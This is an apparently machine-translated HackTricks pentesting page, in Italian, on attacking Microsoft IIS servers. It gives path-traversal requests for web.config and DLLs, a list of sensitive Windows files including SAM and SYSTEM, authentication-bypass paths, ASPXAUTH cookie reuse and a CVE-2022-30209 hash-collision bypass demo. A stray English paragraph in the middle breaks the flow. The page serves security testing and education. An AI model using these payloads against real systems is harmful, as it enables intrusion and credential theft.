hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services.md
2024-02-10 13:03:23 +00:00

17 KiB

IIS - Internet Information Services

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Test delle estensioni dei file eseguibili:

  • asp
  • aspx
  • config
  • php

Divulgazione dell'indirizzo IP interno

Su qualsiasi server IIS in cui si riceve un 302, è possibile provare a rimuovere l'intestazione Host e utilizzare HTTP/1.0 e all'interno della risposta l'intestazione Location potrebbe indirizzarti all'indirizzo IP interno:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Risposta che divulga l'IP interno:

If the server responds with its internal IP address, it can be a potential security risk as it exposes sensitive information about the network infrastructure. An attacker can use this information to launch further attacks or gain unauthorized access to the internal network.

To prevent the disclosure of internal IP addresses, it is recommended to configure the server to respond with the public IP address or a generic error message instead. This can be achieved by modifying the server's configuration files or using a reverse proxy to handle incoming requests.

It is also important to regularly update and patch the server software to mitigate any known vulnerabilities that could be exploited by attackers. Additionally, implementing network segmentation and access controls can help limit the impact of a potential breach.

Remember, the security of your network relies on keeping sensitive information hidden from potential attackers.

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache Pragma: no-cache Location: https://192.168.5.237/owa/ Server: Microsoft-IIS/10.0 X-FEServer: NHEXCHANGE2016

## Esecuzione dei file .config

È possibile caricare file .config e utilizzarli per eseguire codice. Un modo per farlo è aggiungere il codice alla fine del file all'interno di un commento HTML: [Scarica l'esempio qui](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)

Ulteriori informazioni e tecniche per sfruttare questa vulnerabilità [qui](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)

## IIS Discovery Bruteforce

Scarica l'elenco che ho creato:

{% file src="../../.gitbook/assets/iisfinal.txt" %}

È stato creato unendo i contenuti dei seguenti elenchi:

[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)

Usalo senza aggiungere alcuna estensione, i file che ne hanno bisogno l'hanno già.

## Path Traversal

### Divulgazione del codice sorgente

Controlla l'articolo completo su: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)

{% hint style="info" %}
In sintesi, ci sono diversi file web.config all'interno delle cartelle dell'applicazione con riferimenti a file "**assemblyIdentity**" e "**namespaces**". Con queste informazioni è possibile sapere **dove si trovano gli eseguibili** e scaricarli.\
Dai Dll scaricati è anche possibile trovare **nuovi namespaces** a cui si dovrebbe cercare di accedere e ottenere il file web.config per trovare nuovi namespaces e assemblyIdentity.\
Inoltre, i file **connectionstrings.config** e **global.asax** potrebbero contenere informazioni interessanti.\

{% endhint %}

Nelle applicazioni **.Net MVC**, il file **web.config** svolge un ruolo cruciale specificando ogni file binario su cui l'applicazione si basa attraverso i tag XML "**assemblyIdentity**".

### **Esplorazione dei file binari**

Di seguito è mostrato un esempio di accesso al file **web.config**:
```markup
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Questa richiesta rivela diverse impostazioni e dipendenze, come:

  • Versione di EntityFramework
  • AppSettings per pagine web, convalida del client e JavaScript
  • Configurazioni di System.web per l'autenticazione e l'esecuzione
  • Impostazioni dei moduli di System.webServer
  • Associazioni di assembly di Runtime per numerose librerie come Microsoft.Owin, Newtonsoft.Json e System.Web.Mvc

Queste impostazioni indicano che determinati file, come /bin/WebGrease.dll, si trovano nella cartella /bin dell'applicazione.

File nella Directory Radice

I file trovati nella directory radice, come /global.asax e /connectionstrings.config (che contiene password sensibili), sono essenziali per la configurazione e il funzionamento dell'applicazione.

Spazi dei Nomi e Web.Config

Le applicazioni MVC definiscono anche ulteriori file web.config per spazi dei nomi specifici al fine di evitare dichiarazioni ripetitive in ogni file, come dimostrato da una richiesta per scaricare un altro web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Scaricare DLL

La menzione di uno spazio dei nomi personalizzato fa pensare a una DLL chiamata "WebApplication1" presente nella directory /bin. Successivamente viene mostrata una richiesta per scaricare il file WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Questo suggerisce la presenza di altre DLL essenziali, come System.Web.Mvc.dll e System.Web.Optimization.dll, nella directory /bin.

In uno scenario in cui una DLL importa uno spazio dei nomi chiamato WebApplication1.Areas.Minded, un attaccante potrebbe dedurre l'esistenza di altri file web.config in percorsi prevedibili, come /area-name/Views/, contenenti configurazioni specifiche e riferimenti ad altre DLL nella cartella /bin. Ad esempio, una richiesta a /Minded/Views/web.config può rivelare configurazioni e spazi dei nomi che indicano la presenza di un'altra DLL, WebApplication1.AdditionalFeatures.dll.

File comuni

Da qui

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

Errore 404 HTTPAPI 2.0

Se visualizzi un errore come il seguente:

Significa che il server non ha ricevuto il nome di dominio corretto nell'intestazione Host.
Per accedere alla pagina web, puoi controllare il Certificato SSL fornito e potresti trovare il nome di dominio/sottodominio all'interno. Se non è presente, potresti dover forzare VHosts fino a trovare quello corretto.

Vecchie vulnerabilità di IIS da tenere d'occhio

Vulnerabilità/Caratteristica del carattere tilde "" di Microsoft IIS - Rivelazione di nomi brevi di file/cartelle

Puoi provare a enumerare le cartelle e i file all'interno di ogni cartella scoperta (anche se richiede l'autenticazione di base) utilizzando questa tecnica.
Il principale limite di questa tecnica, se il server è vulnerabile, è che può trovare solo fino ai primi 6 caratteri del nome di ogni file/cartella e i primi 3 caratteri dell'estensione dei file.

Puoi utilizzare https://github.com/irsdl/IIS-ShortName-Scanner per testare questa vulnerabilità: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Ricerca originale: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Puoi anche utilizzare metasploit: use scanner/http/iis_shortname_scanner

Bypass dell'autenticazione di base

Bypassa un'autenticazione di base (IIS 7.5) cercando di accedere a: /admin:$i30:$INDEX_ALLOCATION/admin.php o /admin::$INDEX_ALLOCATION/admin.php

Puoi provare a combina questa vulnerabilità con l'ultima per trovare nuove cartelle e bypassare l'autenticazione.

Debugging abilitato di ASP.NET Trace.AXD

ASP.NET include una modalità di debug e il suo file si chiama trace.axd.

Mantiene un registro molto dettagliato di tutte le richieste effettuate a un'applicazione nel corso del tempo.

Queste informazioni includono gli IP dei client remoti, gli ID di sessione, tutti i cookie di richiesta e risposta, i percorsi fisici, le informazioni sul codice sorgente e potenzialmente anche nomi utente e password.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH utilizza le seguenti informazioni:

  • validationKey (stringa): chiave codificata in esadecimale da utilizzare per la convalida della firma.
  • decryptionMethod (stringa): (predefinito "AES").
  • decryptionIV (stringa): vettore di inizializzazione codificato in esadecimale (predefinito a un vettore di zeri).
  • decryptionKey (stringa): chiave codificata in esadecimale da utilizzare per la decrittografia.

Tuttavia, alcune persone utilizzeranno i valori predefiniti di questi parametri e utilizzeranno come cookie l'email dell'utente. Pertanto, se riesci a trovare un sito web che utilizza la stessa piattaforma che utilizza il cookie ASPXAUTH e crei un utente con l'email dell'utente che vuoi impersonare sul server attaccato, potresti essere in grado di utilizzare il cookie del secondo server nel primo e impersonare l'utente.
Questo attacco ha funzionato in questo articolo.

Bypass dell'autenticazione di IIS con password memorizzate nella cache (CVE-2022-30209)

Rapporto completo qui: Un bug nel codice non controllava correttamente la password fornita dall'utente, quindi un attaccante il cui hash della password corrisponde a una chiave già presente nella cache sarà in grado di effettuare il login come tale utente.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: